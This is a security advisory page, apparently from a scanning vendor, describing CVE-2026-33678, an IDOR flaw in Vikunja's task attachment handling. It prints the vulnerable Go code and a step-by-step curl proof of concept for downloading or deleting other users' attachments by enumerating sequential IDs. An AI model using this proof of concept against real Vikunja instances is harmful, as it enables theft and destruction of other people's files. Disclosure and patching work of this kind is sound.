Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-33678 — vikunja

🟠 CVSS 8.1 — High ✅ No Known Exploit CWE-639 NVD
8.1
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Vikjuna: IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion

Summary

TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.

Details

The vulnerability is in pkg/models/task_attachment.go in the ReadOne method:

```go

// pkg/models/task_attachment.go:110-120

func (ta *TaskAttachment) ReadOne(s *xorm.Session, _ web.Auth) (err error) {

exists, err := s.Where("id = ?", ta.ID).Get(ta) // Only checks attachment ID, ignores TaskID

if err != nil {

return

}

if !exists {

return ErrTaskAttachmentDoesNotExist{

TaskID: ta.TaskID,

AttachmentID: ta.ID,

}

}

// ...

}

```

The permission check in pkg/models/task_attachment_permissions.go validates access to the URL task, not the attachment's actual task:

```go

// pkg/models/task_attachment_permissions.go:25-28

func (ta *TaskAttachment) CanRead(s *xorm.Session, a web.Auth) (bool, int, error) {

t := &Task{ID: ta.TaskID} // ta.TaskID is from URL param :task

return t.CanRead(s, a)

}

```

The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"):

```go

// pkg/models/task_attachment.go:41-42

ID int64 xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment"

TaskID int64 xorm:"bigint not null" json:"task_id" param:"task"

```

Attack flow for read (GET):

The custom handler at pkg/routes/api/v1/task_attachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).

Attack flow for delete (DELETE):

The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.

This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND task_id = ? validation:

```go

// pkg/models/task_comments.go:196-205 (the fix)

func getTaskCommentSimple(s *xorm.Session, tc *TaskComment) error {

query := s.Where("id = ?", tc.ID).NoAutoCondition()

if tc.TaskID != 0 {

query = query.And("task_id = ?", tc.TaskID)

}

// ...

}

```

PoC

Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).

Step 1: Attacker creates their own project and task.

```bash

# Attacker creates a project

curl -s -X PUT 'http://localhost:3456/api/v1/projects' \

-H 'Authorization: Bearer <attacker_token>' \

-H 'Content-Type: application/json' \

-d '{"title":"attacker project"}' | jq '.id'

# Returns: 10

# Attacker creates a task in their project

curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \

-H 'Authorization: Bearer <attacker_token>' \

-H 'Content-Type: application/json' \

-d '{"title":"attacker task"}' | jq '.id'

# Returns: 50

```

Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).

```bash

curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \

-H 'Authorization: Bearer <victim_token>' \

-F '[email protected]'

# Returns attachment with id: 5

```

Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.

```bash

# Attacker accesses victim's attachment (id=5) via their own task (id=50)

curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \

-H 'Authorization: Bearer <attacker_token>' \

-o stolen-file.pdf

# Returns: victim's secret-document.pdf

```

Step 4: Attacker can also delete the victim's attachment.

```bash

curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \

-H 'Authorization: Bearer <attacker_token>'

# Returns: 200 OK — victim's attachment is deleted

```

Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).

Impact

  • Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments.
  • Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users.
  • Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs.
  • Scope: Affects all Vikunja instances with task attachments enabled

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-33678 is classified as CWE-639: Authorization Bypass Through User-Controlled Key. An object is selected by an identifier from the request without checking the caller owns it.

Affected software

CVE-2026-33678 is recorded against 2 packages.

  • code.vikunja.io/api
  • vikunja (fixed in 2.2.1)

Timeline and source

Published on 25 March 2026 and last revised on 26 March 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
vikunja.io (Web)

Other advisories for this package

code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-639: Authorization Bypass Through User-Controlled Key) in other software:

Details

Severity HIGH
CVSS Score 8.1
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE CWE-639
Public Exploit ✅ No
Source NVD
Published 2026-03-25
Updated 2026-08-20
Modified 2026-03-26
Fix URL N/A

Affected Packages

Software From version Fixed in
code.vikunja.io/api
vikunja 2.2.1

Similar Threats

Site Security Check

Is vikunja part of your stack?

CVE-2026-33678 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026